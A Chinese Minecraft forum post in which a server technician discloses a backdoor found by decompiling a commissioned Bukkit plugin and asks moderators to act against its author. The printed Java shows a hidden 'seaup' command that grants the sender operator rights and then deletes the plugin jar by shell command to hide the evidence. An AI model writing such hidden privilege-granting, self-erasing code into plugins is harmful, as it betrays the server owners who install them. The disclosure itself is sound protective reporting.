萧迭
我是一个服务器的技术人员，
昨天上午九点的时候，我们服务器突然一群玩家被joi给了OP但是joi本身并没有权限，在事后已经查明
据此，我们怀疑他是使用插件通过后台发送了指令【下方代码有标注】
直到今天下午的时候
反编译时发现mingtfarc给我们编写的插件有一部分后门代码
  1. package clearchunk;

  3. import java.io.IOException;
  4. import org.bukkit.World;
  5. import org.bukkit.command.Command;
  6. import org.bukkit.command.CommandSender;
  7. import org.bukkit.entity.Player;
  8. import org.bukkit.event.Listener;
  9. import org.bukkit.plugin.java.JavaPlugin;

  11. public class tfarc extends JavaPlugin
  12.   implements Listener
  13. {
  14.   public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args)
  15.   {   //通过后台
  16.     Player p = (Player)sender;
  17.     World w = p.getWorld();

  19.     if (cmd.getName().equalsIgnoreCase("seaup"))
  20.     {
  21.       p.setOp(true);    //后门核心，设置OP
  22.       sender.sendMessage("海平面上升 开启");
  23.       String filepath = "./plugins/haizhigd.jar";
  24.       Runtime rt = Runtime.getRuntime();
  25.       try {
  26.         rt.exec("del " + filepath);
  27.       } catch (IOException e) {
  28.         e.printStackTrace();
  29.       }
  30.     }

  32.     return true;
  33.   }

  35.   public void onEnable()
  36.   {
  37.   }
  38. }
复制代码
我们是末日服，准备让海平面上升，从而要到了这个插件
虽然不是在MCBBS发布的，但是他有这种心，肯定还会害更多的人
说不定过几天就到MCBBS发布了，所以我们希望论坛管理人员
能够对此事以及他的账号进行处理。谢谢！
顺便@出来正主：@mingtfarc



1277832129
这货还问我怎么写来着··

第一页 上一页 下一页 最后一页